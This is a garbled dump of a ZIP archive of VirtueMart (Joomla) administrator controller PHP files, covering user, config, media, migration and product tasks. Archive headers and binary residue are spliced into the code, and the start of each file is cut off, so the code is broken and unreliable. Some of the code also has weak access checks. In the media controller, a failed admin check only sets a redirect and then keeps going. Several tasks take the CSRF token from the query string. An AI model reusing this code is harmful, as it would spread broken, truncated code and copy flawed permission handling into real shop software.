JText::_('COM_VIRTUEMART_SET_TO_DEFAULT_SUCCESSFULLY'); else { $msg = ''; // $msg = JText::_('COM_VIRTUEMART_SET_TO_DEFAULT_ERROR'); $msgtype = 'error'; } $mainframe->redirect('index.php?option=com_virtuemart&view=shoppergroup', $msg, $msgtype); } } // pure php no closing tag PKB\$$controllers/virtuemart.phpnuW+AsetDangerousToolsOff(); $this->display(); } } PKB\Ocontrollers/usergroups.phpnuW+A Order allow,deny Deny from all PKB\KZ^^controllers/userfields.phpnuW+AgetType(); $view = $this->getView('userfields', $viewType); parent::display(); } function viewJson() { // Create the view object. $view = $this->getView('userfields', 'json'); // Now display the view. $view->display(null); } } //No Closing tag PKB\VVcontrollers/user.phpnuW+Aedit(); } function editshop(){ $user = JFactory::getUser(); //the virtuemart_user_id var gets overriden in the edit function, when not set. So we must set it here JRequest::setVar('virtuemart_user_id', (int)$user->id); $this->edit(); } function cancel(){ $lastTask = JRequest::getWord('last_task'); if ($lastTask == 'edit_shop') $this->setRedirect('index.php?option=com_virtuemart'); else $this->setRedirect('index.php?option=com_virtuemart&view=user'); } /** * Handle the save task * Checks already in the controller the rights todo so and sets the data by filtering the post * * @author Max Milbers */ function save($data = 0){ $document = JFactory::getDocument(); $viewType = $document->getType(); $view = $this->getView('user', $viewType); $_currentUser = JFactory::getUser(); // TODO sortout which check is correctt..... // if (!$_currentUser->authorize('administration', 'manage', 'components', 'com_users')) { if (!$_currentUser->authorize('core.edit', 'com_users')) { $msg = JText::_(_NOT_AUTH); } else { $model = VmModel::getModel('user'); $data = JRequest::get('post'); // Store multiple selectlist entries as a ; separated string if (array_key_exists('vendor_accepted_currencies', $data) && is_array($data['vendor_accepted_currencies'])) { $data['vendor_accepted_currencies'] = implode(',', $data['vendor_accepted_currencies']); } // TODO disallow vendor_store_name as HTML ? $data['vendor_store_name'] = JRequest::getVar('vendor_store_name','','post','STRING',JREQUEST_ALLOWHTML); $data['vendor_store_desc'] = JRequest::getVar('vendor_store_desc','','post','STRING',JREQUEST_ALLOWHTML); $data['vendor_terms_of_service'] = JRequest::getVar('vendor_terms_of_service','','post','STRING',JREQUEST_ALLOWHTML); $data['vendor_legal_info'] = JRequest::getVar('vendor_legal_info','','post','STRING',JREQUEST_ALLOWHTML); $data['vendor_letter_css'] = JRequest::getVar('vendor_letter_css','','post','STRING',JREQUEST_ALLOWHTML); $data['vendor_letter_header_html'] = JRequest::getVar('vendor_letter_header_html','','post','STRING',JREQUEST_ALLOWHTML); $data['vendor_letter_footer_html'] = JRequest::getVar('vendor_letter_footer_html','','post','STRING',JREQUEST_ALLOWHTML); $ret=$model->store($data); if(!$ret){ $msg = ''; } else { $msg = $ret['message']; } } $cmd = JRequest::getCmd('task'); $lastTask = JRequest::getWord('last_task'); if($cmd == 'apply'){ if ($lastTask == 'editshop') $redirection = 'index.php?option=com_virtuemart&view=user&task=editshop'; else $redirection = 'index.php?option=com_virtuemart&view=user&task=edit&virtuemart_user_id[]='.$ret['newId']; } else { if ($lastTask == 'editshop') $redirection = 'index.php?option=com_virtuemart'; else $redirection = 'index.php?option=com_virtuemart&view=user'; } // $this->setRedirect($redirection, $ret['message']); $this->setRedirect($redirection); } } //No Closing tag PKB\,bVh controllers/config.phpnuW+Astore($data)) { $msg = JText::_('COM_VIRTUEMART_CONFIG_SAVED'); // Load the newly saved values into the session. VmConfig::loadConfig(); } else { $msg = $model->getError(); } $redir = 'index.php?option=com_virtuemart'; if(JRequest::getCmd('task') == 'apply'){ $redir = $this->redirectPath; } $this->setRedirect($redir, $msg); } /** * Overwrite the remove task * Removing config is forbidden. * @author Max Milbers */ function remove(){ $msg = JText::_('COM_VIRTUEMART_ERROR_CONFIGS_COULD_NOT_BE_DELETED'); $this->setRedirect( $this->redirectPath , $msg); } } //pure php no tag PKB\5 5 controllers/media.phpnuW+AgetView('media', 'json'); /* Now display the view. */ $view->display(null); } function save($data = 0){ $fileModel = VmModel::getModel('media'); //Now we try to determine to which this media should be long to $data = JRequest::get('post'); //$data['file_title'] = JRequest::getVar('file_title','','post','STRING',JREQUEST_ALLOWHTML); $data['file_description'] = JRequest::getVar('file_description','','post','STRING',JREQUEST_ALLOWHTML); $data['media_attributes'] = JRequest::getWord('media_attributes'); $data['file_type'] = JRequest::getWord('file_type'); if(empty($data['file_type'])){ $data['file_type'] = $data['media_attributes']; } if ($id = $fileModel->store($data,$data['file_type'])) { $msg = JText::_('COM_VIRTUEMART_FILE_SAVED_SUCCESS'); } else { $msg = $fileModel->getError(); } $cmd = JRequest::getCmd('task'); if($cmd == 'apply'){ $redirection = 'index.php?option=com_virtuemart&view=media&task=edit&virtuemart_media_id='.$id; } else { $redirection = 'index.php?option=com_virtuemart&view=media'; } $this->setRedirect($redirection, $msg); } function synchronizeMedia(){ if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); if(!Permissions::getInstance()->check('admin')){ $msg = 'Forget IT'; $this->setRedirect('index.php?option=com_virtuemart', $msg); } if(!class_exists('Migrator')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'migrator.php'); $migrator = new Migrator(); $result = $migrator->portMedia(); $this->setRedirect($this->redirectPath, $result); } } // pure php no closing tag PKB\^controllers/country.phpnuW+AsetRedirect('index.php?option=com_virtuemart&view=log' ); } } // pure php no closing tagPKB\"Kcontrollers/coupon.phpnuW+AsetRedirect( 'index.php?option=com_virtuemart&view=calc', JText::_('COM_VIRTUEMART_NO_ITEMS_SELECTED') ); return false; } //getting the model $model = VmModel::getModel('calc'); if ($model->orderCalc($id, -1)) { $msg = JText::_('COM_VIRTUEMART_ITEM_MOVED_UP'); } else { $msg = $model->getError(); } $this->setRedirect( 'index.php?option=com_virtuemart&view=calc', $msg ); } /** * Save the calc order * * @author jseros */ public function orderDown() { // Check token JRequest::checkToken() or jexit( 'Invalid Token' ); $id = 0; $cid = JRequest::getVar( 'cid', array(), 'post', 'array' ); JArrayHelper::toInteger($cid); if (isset($cid[0]) && $cid[0]) { $id = $cid[0]; } else { $this->setRedirect( 'index.php?option=com_virtuemart&view=calc', JText::_('COM_VIRTUEMART_NO_ITEMS_SELECTED') ); return false; } //getting the model $model = VmModel::getModel('calc'); if ($model->orderCalc($id, 1)) { $msg = JText::_('COM_VIRTUEMART_ITEM_MOVED_DOWN'); } else { $msg = $model->getError(); } $this->setRedirect( 'index.php?option=com_virtuemart&view=calc', $msg ); } /** * Save the categories order */ public function saveOrder() { // Check for request forgeries JRequest::checkToken() or jexit( 'Invalid Token' ); $cid = JRequest::getVar( 'cid', array(), 'post', 'array' ); JArrayHelper::toInteger($cid); $model = VmModel::getModel('calc'); $order = JRequest::getVar('order', array(), 'post', 'array'); JArrayHelper::toInteger($order); if ($model->setOrder($cid,$order)) { $msg = JText::_('COM_VIRTUEMART_NEW_ORDERING_SAVED'); } else { $msg = $model->getError(); } $this->setRedirect('index.php?option=com_virtuemart&view=calc', $msg ); } } // pure php no closing tag PKB\controllers/report.phpnuW+AupdateOrderItems(); $this->setRedirect($this->redirectPath, 'Order Items updated'); } } // pure php no closing tagPKB\vߍJNJN controllers/updatesmigration.phpnuW+Acheck('admin')){ $msg = 'Forget IT'; $this->setRedirect('index.php?option=com_virtuemart', $msg); } return true; } /** * Akeeba release system tasks * Update * @author Max Milbers */ function liveUpdate(){ $this->setRedirect('index.php?option=com_virtuemart&view=liveupdate.', 'Akeeba release system'); } /** * Install sample data into the database * * @author RickG */ function checkForLatestVersion(){ $model = $this->getModel('updatesMigration'); JRequest::setVar('latestverison', $model->getLatestVersion()); JRequest::setVar('view', 'updatesMigration'); parent::display(); } /** * Install sample data into the database * * @author RickG * @author Max Milbers */ function installSampleData(){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); // $this->checkPermissionForTools(); $model = $this->getModel('updatesMigration'); $msg = $model->installSampleData(); $this->setRedirect($this->redirectPath, $msg); } /** * Sets the storeowner to the currently logged in user * He needs admin rights * * @author Max Milbers */ function setStoreOwner(){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); $model = $this->getModel('updatesMigration'); $storeOwnerId =JRequest::getInt('storeOwnerId'); $msg = $model->setStoreOwner($storeOwnerId); $this->setRedirect($this->redirectPath, $msg); } /** * Install sample data into the database * * @author RickG * @author Max Milbers */ function restoreSystemDefaults(){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); if(VmConfig::get('dangeroustools', false)){ $model = $this->getModel('updatesMigration'); $model->restoreSystemDefaults(); $msg = JText::_('COM_VIRTUEMART_SYSTEM_DEFAULTS_RESTORED'); $msg .= ' User id of the main vendor is ' . $model->setStoreOwner(); $this->setDangerousToolsOff(); }else { $msg = $this->_getMsgDangerousTools(); } $this->setRedirect($this->redirectPath, $msg); } /** * Remove all the Virtuemart tables from the database. * * @author RickG * @author Max Milbers */ function deleteVmTables(){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); $msg = JText::_('COM_VIRTUEMART_SYSTEM_VMTABLES_DELETED'); if(VmConfig::get('dangeroustools', false)){ $model = $this->getModel('updatesMigration'); if(!$model->removeAllVMTables()){ $this->setDangerousToolsOff(); $this->setRedirect('index.php?option=com_virtuemart', $model->getError()); } }else { $msg = $this->_getMsgDangerousTools(); } $this->setRedirect('index.php?option=com_installer', $msg); } /** * Deletes all dynamical created data and leaves a "fresh" installation without sampledata * OUTDATED * @author Max Milbers * */ function deleteVmData(){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); $msg = JText::_('COM_VIRTUEMART_SYSTEM_VMDATA_DELETED'); if(VmConfig::get('dangeroustools', false)){ $model = $this->getModel('updatesMigration'); if(!$model->removeAllVMData()){ $this->setDangerousToolsOff(); $this->setRedirect('index.php?option=com_virtuemart', $model->getError()); } }else { $msg = $this->_getMsgDangerousTools(); } $this->setRedirect($this->redirectPath, $msg); } function deleteAll(){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); $msg = JText::_('COM_VIRTUEMART_SYSTEM_ALLVMDATA_DELETED'); if(VmConfig::get('dangeroustools', false)){ $this->installer->populateVmDatabase("delete_essential.sql"); $this->installer->populateVmDatabase("delete_data.sql"); $this->setDangerousToolsOff(); }else { $msg = $this->_getMsgDangerousTools(); } $this->setRedirect($this->redirectPath, $msg); } function deleteRestorable(){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); $msg = JText::_('COM_VIRTUEMART_SYSTEM_RESTVMDATA_DELETED'); if(VmConfig::get('dangeroustools', false)){ $this->installer->populateVmDatabase("delete_restoreable.sql"); $this->setDangerousToolsOff(); }else { $msg = $this->_getMsgDangerousTools(); } $this->setRedirect($this->redirectPath, $msg); } function refreshCompleteInstallAndSample(){ $this->refreshCompleteInstall(true); } function refreshCompleteInstall($sample=false){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); if(VmConfig::get('dangeroustools', true)){ $model = $this->getModel('updatesMigration'); $model->restoreSystemTablesCompletly(); //$id = $model->determineStoreOwner(); $sid = $model->setStoreOwner(); $model->setUserToPermissionGroup($sid); if($sample)$model->installSampleData($sid); $msg = ''; if(empty($errors)){ $msg = 'System succesfull restored and sampledata installed, user id of the mainvendor is ' . $sid; } else { foreach($errors as $error){ $msg .= ( $error) . '
    '; } } VmConfig::installVMconfig(); $this->setDangerousToolsOff(); }else { $msg = $this->_getMsgDangerousTools(); } $this->setRedirect($this->redirectPath, $msg); } function installCompleteSamples(){ $this->installComplete(true); } function installComplete($sample=false){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); if(VmConfig::get('dangeroustools', true)){ if(!class_exists('com_virtuemartInstallerScript')) require(JPATH_VM_ADMINISTRATOR . DS . 'install' . DS . 'script.virtuemart.php'); $updater = new com_virtuemartInstallerScript(); $updater->install(true); $model = $this->getModel('updatesMigration'); $sid = $model->setStoreOwner(); $model->setUserToPermissionGroup($sid); $msg = ''; if(empty($errors)){ $msg = 'System succesfull restored and sampledata installed, user id of the mainvendor is ' . $sid; } else { foreach($errors as $error){ $msg .= ( $error) . '
    '; } } if(!class_exists('com_virtuemart_allinoneInstallerScript')) require(JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart_allinone' . DS . 'script.vmallinone.php'); $updater = new com_virtuemart_allinoneInstallerScript(); $updater->vmInstall(true); if($sample) $model->installSampleData($sid); VmConfig::installVMconfig(); //Now lets set some joomla variables //Caching should be enabled, set to files and for 15 minutes if (!class_exists( 'ConfigModelApplication' )) require(JPATH_ADMINISTRATOR.DS.'components'.DS.'com_config'.DS.'models'.DS.'application.php'); $jConfModel = new ConfigModelApplication(); $jConfig = $jConfModel->getData(); $jConfig['caching'] = 0; $jConfig['lifetime'] = 60; $jConfig['list_limit'] = 25; $jConfig['MetaDesc'] = 'VirtueMart works with Joomla! - the dynamic portal engine and content management system'; $jConfig['MetaKeys'] = 'virtuemart, vm2, joomla, Joomla'; $app = JFactory::getApplication(); $return = $jConfModel->save($jConfig); // Check the return value. if ($return === false) { // Save the data in the session. $app->setUserState('com_config.config.global.data', $jConfig); vmError(vmText::sprintf('JERROR_SAVE_FAILED', $model->getError())); //return false; } else { // Set the success message. //vmInfo('COM_CONFIG_SAVE_SUCCESS'); } }else { $msg = $this->_getMsgDangerousTools(); } $this->setRedirect($this->redirectPath, $msg); } /** * This is executing the update table commands to adjust tables to the latest layout * @author Max Milbers */ function updateDatabase(){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); // $this->checkPermissionForTools(); if(!class_exists('com_virtuemartInstallerScript')) require(JPATH_VM_ADMINISTRATOR . DS . 'install' . DS . 'script.virtuemart.php'); $updater = new com_virtuemartInstallerScript(); $updater->update(false); $this->setRedirect($this->redirectPath, 'Database updated'); } /** * Delete the config stored in the database and renews it using the file * * @auhtor Max Milbers */ function renewConfig(){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); //if(VmConfig::get('dangeroustools', true)){ $model = $this->getModel('config'); $model -> deleteConfig(); // } $this->setRedirect($this->redirectPath, 'Configuration is now restored by file'); } /** * This function resets the flag in the config that dangerous tools can't be executed anylonger * This is a security feature * * @author Max Milbers */ function setDangerousToolsOff(){ if(!class_exists('VirtueMartModelConfig')) require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'config.php'); $res = VirtueMartModelConfig::checkConfigTableExists(); if(!empty($res)){ $model = $this->getModel('config'); $model->setDangerousToolsOff(); } } /** * Sends the message to the user that the tools are disabled. * * @author Max Milbers */ function _getMsgDangerousTools(){ $uri = JFactory::getURI(); VmConfig::loadJLang('com_virtuemart_config'); $link = $uri->root() . 'administrator/index.php?option=com_virtuemart&view=config'; $msg = JText::sprintf('COM_VIRTUEMART_SYSTEM_DANGEROUS_TOOL_DISABLED', JText::_('COM_VIRTUEMART_ADMIN_CFG_DANGEROUS_TOOLS'), $link); return $msg; } function portMedia(){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); $this->storeMigrationOptionsInSession(); if(!class_exists('Migrator')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'migrator.php'); $migrator = new Migrator(); $result = $migrator->portMedia(); $this->setRedirect($this->redirectPath, $result); } function migrateGeneralFromVmOne(){ $data = JRequest::get('get'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); $this->storeMigrationOptionsInSession(); if(!class_exists('Migrator')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'migrator.php'); $migrator = new Migrator(); $result = $migrator->migrateGeneral(); if($result){ $msg = 'Migration general finished'; } else { $msg = 'Migration general was interrupted by max_execution time, please restart'; } $this->setRedirect($this->redirectPath, $result); } function migrateUsersFromVmOne(){ JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); $this->storeMigrationOptionsInSession(); if(!class_exists('Migrator')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'migrator.php'); $migrator = new Migrator(); $result = $migrator->migrateUsers(); if($result){ $msg = 'Migration users finished'; } else { $msg = 'Migration users was interrupted by max_execution time, please restart'; } $this->setRedirect($this->redirectPath, $result); } function migrateProductsFromVmOne(){ JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); $this->storeMigrationOptionsInSession(); if(!class_exists('Migrator')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'migrator.php'); $migrator = new Migrator(); $result = $migrator->migrateProducts(); if($result){ $msg = 'Migration products finished'; } else { $msg = 'Migration products was interrupted by max_execution time, please restart'; } $this->setRedirect($this->redirectPath, $result); } function migrateOrdersFromVmOne(){ JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); $this->storeMigrationOptionsInSession(); if(!class_exists('Migrator')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'migrator.php'); $migrator = new Migrator(); $result = $migrator->migrateOrders(); if($result){ $msg = 'Migration orders finished'; } else { $msg = 'Migration orders was interrupted by max_execution time, please restart'; } $this->setRedirect($this->redirectPath, $result); } /** * Is doing all migrator steps in one row * * @author Max Milbers */ function migrateAllInOne(){ JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); if(!VmConfig::get('dangeroustools', true)){ $msg = $this->_getMsgDangerousTools(); $this->setRedirect($this->redirectPath, $msg); return false; } $this->storeMigrationOptionsInSession(); if(!class_exists('Migrator')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'migrator.php'); $migrator = new Migrator(); $result = $migrator->migrateAllInOne(); if($result){ $msg = 'Migration finished'; } else { $msg = 'Migration was interrupted by max_execution time, please restart'; } $this->setRedirect($this->redirectPath, $msg); } function portVmAttributes(){ $data = JRequest::get('get'); if(!empty($data['token']))JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); if(!VmConfig::get('dangeroustools', true)){ $msg = $this->_getMsgDangerousTools(); $this->setRedirect($this->redirectPath, $msg); return false; } $this->storeMigrationOptionsInSession(); if(!class_exists('Migrator')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'migrator.php'); $migrator = new Migrator(); $result = $migrator->portVm1Attributes(); if($result){ $msg = 'Migration Vm2 attributes finished'; } else { $msg = 'Migration was interrupted by max_execution time, please restart'; } $this->setRedirect($this->redirectPath, $msg); } function portVmRelatedProducts(){ $data = JRequest::get('get'); if(!empty($data['token']))JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); if(!VmConfig::get('dangeroustools', true)){ $msg = $this->_getMsgDangerousTools(); $this->setRedirect($this->redirectPath, $msg); return false; } $this->storeMigrationOptionsInSession(); if(!class_exists('Migrator')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'migrator.php'); $migrator = new Migrator(); $result = $migrator->portVm1RelatedProducts(); if($result){ $msg = 'Migration Vm2 related products finished'; } else { $msg = 'Migration was interrupted by max_execution time, please restart'; } $this->setRedirect($this->redirectPath, $msg); } function reOrderChilds(){ JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); if(!VmConfig::get('dangeroustools', true)){ $msg = $this->_getMsgDangerousTools(); $this->setRedirect($this->redirectPath, $msg); return false; } $this->storeMigrationOptionsInSession(); if(!class_exists('GenericTableUpdater')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'tableupdater.php'); $updater = new GenericTableUpdater(); $result = $updater->reOrderChilds(); //$msg = 'reOrderDone'; $this->setRedirect($this->redirectPath, $result); } function storeMigrationOptionsInSession(){ $session = JFactory::getSession(); $session->set('migration_task', JRequest::getString('task',''), 'vm'); $session->set('migration_default_category_browse', JRequest::getString('migration_default_category_browse',''), 'vm'); $session->set('migration_default_category_fly', JRequest::getString('migration_default_category_fly',''), 'vm'); } function resetThumbs(){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $this->checkPermissionForTools(); if(!VmConfig::get('dangeroustools', true)){ $msg = $this->_getMsgDangerousTools(); $this->setRedirect($this->redirectPath, $msg); return false; } $model = VmModel::getModel('updatesMigration'); $result = $model->resetThumbs(); $this->setRedirect($this->redirectPath, $result); } } PKB\ |controllers/inventory.phpnuW+AaddViewPath(JPATH_ADMINISTRATOR.DS.'components'.DS.'com_virtuemart' . DS . 'views'); } /** * Shows the product add/edit screen */ public function edit($layout='edit') { parent::edit('product_edit'); } /** * We want to allow html so we need to overwrite some request data * * @author Max Milbers */ function save($data = 0){ $data = JRequest::get('post'); if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(Permissions::getInstance()->check('admin')){ $data['product_desc'] = JRequest::getVar('product_desc','','post','STRING',2); $data['product_s_desc'] = JRequest::getVar('product_s_desc','','post','STRING',2); $data['customtitle'] = JRequest::getVar('customtitle','','post','STRING',2); } else { $data['product_desc'] = JRequest::getVar('product_desc','','post','STRING',2); $data['product_desc'] = JComponentHelper::filterText($data['product_desc']); //Why we have this? $multix = Vmconfig::get('multix','none'); if( $multix != 'none' ){ //in fact this shoudl be used, when the mode is administrated and the sysetm is so that //every product must be approved by an admin. unset($data['published']); //unset($data['childs']); } } parent::save($data); } function saveJS(){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit( 'Invalid Token save' ); $model = VmModel::getModel($this->_cname); $id = $model->store($data); $errors = $model->getErrors(); if(empty($errors)) { $msg = JText::sprintf('COM_VIRTUEMART_STRING_SAVED',$this->mainLangKey); $type = 'save'; } else $type = 'error'; foreach($errors as $error){ $msg = ($error).'
    '; } $json['msg'] = $msg; if ($id) { $json['product_id'] = $id; $json['ok'] = 1 ; } else { $json['ok'] = 0 ; } echo json_encode($json); jExit(); } /** * This task creates a child by a given product id * * @author Max Milbers */ public function createChild(){ $app = Jfactory::getApplication(); /* Load the view object */ $view = $this->getView('product', 'html'); $model = VmModel::getModel('product'); //$cids = JRequest::getVar('cid'); $cids = JRequest::getVar($this->_cidName, JRequest::getVar('virtuemart_product_id',array(),'', 'ARRAY'), '', 'ARRAY'); //jimport( 'joomla.utilities.arrayhelper' ); JArrayHelper::toInteger($cids); foreach($cids as $cid){ if ($id=$model->createChild($cid)){ $msg = JText::_('COM_VIRTUEMART_PRODUCT_CHILD_CREATED_SUCCESSFULLY'); $redirect = 'index.php?option=com_virtuemart&view=product&task=edit&product_parent_id='.$cids[0].'&virtuemart_product_id='.$id; } else { $msg = JText::_('COM_VIRTUEMART_PRODUCT_NO_CHILD_CREATED_SUCCESSFULLY'); $msgtype = 'error'; $redirect = 'index.php?option=com_virtuemart&view=product'; } } $app->redirect($redirect, $msg, $msgtype); } /** * This task creates a child by a given product id * * @author Max Milbers */ public function createVariant(){ $data = JRequest::get('get'); JRequest::setVar($data['token'], '1', 'post'); JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $app = Jfactory::getApplication(); /* Load the view object */ $view = $this->getView('product', 'html'); $model = VmModel::getModel('product'); //$cids = JRequest::getVar('cid'); //$cid = JRequest::getInt('virtuemart_product_id',0); $cid = JRequest::getVar('virtuemart_product_id',array(),'', 'array'); if(is_array($cid) && count($cid) > 0){ $cid = (int)$cid[0]; } else { $cid = (int)$cid; } if(empty($cid)){ $msg = JText::_('COM_VIRTUEMART_PRODUCT_NO_CHILD_CREATED_SUCCESSFULLY'); // $redirect = 'index.php?option=com_virtuemart&view=product&task=edit&virtuemart_product_id='.$cid; } else { if ($id=$model->createChild($cid)){ $msg = JText::_('COM_VIRTUEMART_PRODUCT_CHILD_CREATED_SUCCESSFULLY'); $redirect = 'index.php?option=com_virtuemart&view=product&task=edit&virtuemart_product_id='.$cid; } else { $msg = JText::_('COM_VIRTUEMART_PRODUCT_NO_CHILD_CREATED_SUCCESSFULLY'); $msgtype = 'error'; $redirect = 'index.php?option=com_virtuemart&view=product'; } // vmdebug('$redirect '.$redirect); $app->redirect($redirect, $msg, $msgtype); } } public function massxref_sgrps(){ $this->massxref('massxref'); } public function massxref_sgrps_exe(){ $virtuemart_shoppergroup_ids = JRequest::getVar('virtuemart_shoppergroup_id',array(),'', 'ARRAY'); JArrayHelper::toInteger($virtuemart_shoppergroup_ids); $session = JFactory::getSession(); $cids = unserialize($session->get('vm_product_ids', array(), 'vm')); $productModel = VmModel::getModel('product'); foreach($cids as $cid){ $data = array('virtuemart_product_id' => $cid, 'virtuemart_shoppergroup_id' => $virtuemart_shoppergroup_ids); $data = $productModel->updateXrefAndChildTables ($data, 'product_shoppergroups'); } $this->massxref('massxref_sgrps'); } public function massxref_cats(){ $this->massxref('massxref'); } public function massxref_cats_exe(){ $virtuemart_cat_ids = JRequest::getVar('cid',array(),'', 'ARRAY'); JArrayHelper::toInteger($virtuemart_cat_ids); $session = JFactory::getSession(); $cids = unserialize($session->get('vm_product_ids', array(), 'vm')); $productModel = VmModel::getModel('product'); foreach($cids as $cid){ $data = array('virtuemart_product_id' => $cid, 'virtuemart_category_id' => $virtuemart_cat_ids); $data = $productModel->updateXrefAndChildTables ($data, 'product_categories',TRUE); } $this->massxref('massxref_cats'); } /** * */ public function massxref($layoutName){ JRequest::checkToken() or jexit('Invalid Token, in ' . JRequest::getWord('task')); $cids = JRequest::getVar('virtuemart_product_id',array(),'', 'ARRAY'); JArrayHelper::toInteger($cids); if(empty($cids)){ $session = JFactory::getSession(); $cids = unserialize($session->get('vm_product_ids', '', 'vm')); } else { $session = JFactory::getSession(); $session->set('vm_product_ids', serialize($cids),'vm'); } if(!empty($cids)){ $q = 'SELECT `product_name` FROM `#__virtuemart_products_' . VMLANG . '` '; $q .= ' WHERE `virtuemart_product_id` IN (' . implode(',', $cids) . ')'; $db = JFactory::getDbo(); $db->setQuery($q); $productNames = $db->loadResultArray(); vmInfo('COM_VIRTUEMART_PRODUCT_XREF_NAMES',implode(', ',$productNames)); } $this->addViewPath(JPATH_ADMINISTRATOR.DS.'components'.DS.'com_virtuemart' . DS . 'views'); $document = JFactory::getDocument(); $viewType = $document->getType(); $view = $this->getView($this->_cname, $viewType); $view->setLayout($layoutName); $view->display(); } /** * Clone a product * * @author Max Milbers */ public function CloneProduct() { $mainframe = Jfactory::getApplication(); /* Load the view object */ $view = $this->getView('product', 'html'); $model = VmModel::getModel('product'); $msgtype = ''; //$cids = JRequest::getInt('virtuemart_product_id',0); $cids = JRequest::getVar($this->_cidName, JRequest::getVar('virtuemart_product_id',array(),'', 'ARRAY'), '', 'ARRAY'); //jimport( 'joomla.utilities.arrayhelper' ); JArrayHelper::toInteger($cids); foreach($cids as $cid){ if ($model->createClone($cid)) { $msg = JText::_('COM_VIRTUEMART_PRODUCT_CLONED_SUCCESSFULLY'); } else { $msg = JText::_('COM_VIRTUEMART_PRODUCT_NOT_CLONED_SUCCESSFULLY'); $msgtype = 'error'; } } $mainframe->redirect('index.php?option=com_virtuemart&view=product', $msg, $msgtype); } /** * Get a list of related products, categories * or customfields * @author Max Milbers * @author Kohl Patrick */ public function getData() { /* Create the view object. */ $view = $this->getView('product', 'json'); /* Now display the view. */ $view->display(NULL); } /** * Add a product rating * @author Max Milbers */ public function addRating() { $mainframe = Jfactory::getApplication(); /* Get the product ID */ // $cids = array(); $cids = JRequest::getVar($this->_cidName, JRequest::getVar('virtuemart_product_id',array(),'', 'ARRAY'), '', 'ARRAY'); jimport( 'joomla.utilities.arrayhelper' ); JArrayHelper::toInteger($cids); // if (!is_array($cids)) $cids = array($cids); $mainframe->redirect('index.php?option=com_virtuemart&view=ratings&task=add&virtuemart_product_id='.$cids[0]); } public function ajax_notifyUsers(){ //vmdebug('updatestatus'); $virtuemart_product_id = JRequest::getVar('virtuemart_product_id',array(),'', 'ARRAY'); if(is_array($virtuemart_product_id) and count($virtuemart_product_id) > 0){ $virtuemart_product_id = (int)$virtuemart_product_id[0]; } else { $virtuemart_product_id = (int)$virtuemart_product_id; } $subject = JRequest::getVar('subject', ''); $mailbody = JRequest::getVar('mailbody', ''); $max_number = (int)JRequest::getVar('max_number', ''); $waitinglist = VmModel::getModel('Waitinglist'); 